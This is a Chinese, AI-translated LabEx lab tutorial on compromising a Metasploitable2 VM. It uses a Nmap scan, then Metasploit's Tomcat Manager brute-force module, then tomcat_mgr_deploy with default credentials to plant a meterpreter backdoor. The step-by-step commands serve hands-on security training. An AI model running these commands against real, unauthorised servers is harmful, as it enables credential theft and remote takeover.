在 Kali Linux 中使用 Nmap 利用 Tomcat 漏洞

CybersecurityCybersecurityBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,你将学习利用 Tomcat 漏洞的原理以及攻击它们的过程。在攻击过程中,你将学习如何使用 Kali Linux,并了解 Kali 中的攻击框架 Metasploit Framework (MSF)。本实验中被渗透的目标机器是基于 LabEx 提供的 Kali 环境的 Metasploitable2。

扫描目标机器的网络漏洞

在一次典型的渗透测试中,我们需要进一步攻击目标机器。首先需要做的是对目标机器进行渗透扫描。在扫描过程中,我们可以发现机器提供的服务,然后根据可用信息判断是否存在漏洞。接下来,我们尝试渗透潜在的漏洞,并最终攻破目标机器以获取其漏洞。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要 1-3 分钟。

  1. 通过 ping 测试与目标机器的连通性:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机器的网络连接:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

现在攻击机和目标机都已运行,你可以开始渗透测试。

  1. 然后我们启动 msfconsole 并进入操作界面:
cd ~
msfconsole
  1. 在扫描阶段,Nmap 是一个非常实用的扫描工具。在漏洞扫描过程中,我们可以通过分析尝试潜在的漏洞。在这里,我们使用以下命令对目标机器进行渗透扫描:
nmap -sV -T5 target

在上述命令中,-T 设置扫描速度:

参数 含义
nmap T0 极慢扫描,用于规避 IDS(入侵检测系统)
nmap T1 慢速扫描,速度介于 0 和 2 之间,也可以规避某些 IDS
nmap T2 降低扫描速度,通常不使用
nmap T3 默认扫描速度
nmap T4 可能会淹没目标,容易触发防火墙
nmap T5 极速扫描,牺牲准确性以换取速度

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

暴力破解 Tomcat 密码

在这一步中,我们将开始利用 Tomcat 漏洞。我们将使用 auxiliary/scanner/http/tomcat_mgr_login 模块,该模块尝试使用一组特定的用户名和密码登录 Tomcat Manager。如果登录成功,它将输出结果。

攻击模块代码:

从扫描结果中,我们可以看到端口 8180 是开放的。让我们尝试攻击这个端口。首先,在 MSF 终端中搜索 Tomcat 模块,看看是否有相应的漏洞模块:

  1. 首先,如果你不在 Metasploit 控制台中,你应该启动 Metasploit 控制台:
cd ~
msfconsole
  1. 使用 search 查找合适的模块:
search tomcat
  1. 使用 use 命令选择适当的模块:
use auxiliary/scanner/http/tomcat_mgr_login
  1. 显示需要设置的参数:
show options
  1. 然后,检查需要设置的必要参数,并使用 set 命令设置参数:
set RHOSTS 192.168.122.102
  1. 设置端口信息:
set RPORT 8180
  1. 接下来,使用命令进行攻击并暴力破解密码:
exploit

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

使用 Tomcat 密码进行渗透

在从相应模块获取到 Tomcat 密码后,我们将使用该密码渗透目标机器。我们将使用 exploit/multi/http/tomcat_mgr_deploy 模块,该模块登录到 Tomcat Manager 并执行一个 payload。这个 payload 使用 PUT 操作上传一个 WAR 包,而这个 WAR 包包含一个提供 meterpreter 后门 shell 的 JSP 文件。

攻击模块代码:

  1. 首先,如果你不在 Metasploit 控制台中,你应该启动 Metasploit 控制台:
cd ~
msfconsole
  1. 搜索合适的模块:
search tomcat
  1. 然后,选择适当的攻击模块:
use exploit/multi/http/tomcat_mgr_deploy
  1. 使用 show 命令查看必要的参数:
show options
  1. 设置目标主机地址和攻击端口:
set rhost 192.168.122.102
  1. 设置端口信息:
set rport 8180
  1. 设置 httpusername 账户名:
set httpusername tomcat
  1. 设置 httppassword 密码:
set httppassword tomcat
  1. 然后,执行攻击(这可能需要大约一分钟):
exploit
  1. 好了,我们现在已经渗透了目标机器。接下来,我们将验证渗透是否成功。在成功的命令行终端中,输入以下命令:
sysinfo

不要输入 whoami,因为这会导致错误,因为这里使用的 meterpreter payload 不支持像 hostnameidwhoami 等命令。你可以使用 help 命令查看它支持的命令:

如下所示,它显示了操作系统信息:

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,你学习了 Tomcat 漏洞的原理以及攻击它的过程。通常,在渗透测试之前,我们需要收集目标机器的信息。在信息收集过程中,我们可以更好地发现漏洞并攻破目标机器。完成本实验后,你应该掌握以下知识点:

  • Tomcat 漏洞的原理
  • Nmap 扫描的使用
  • MSF 攻击流程
  • 验证攻击是否成功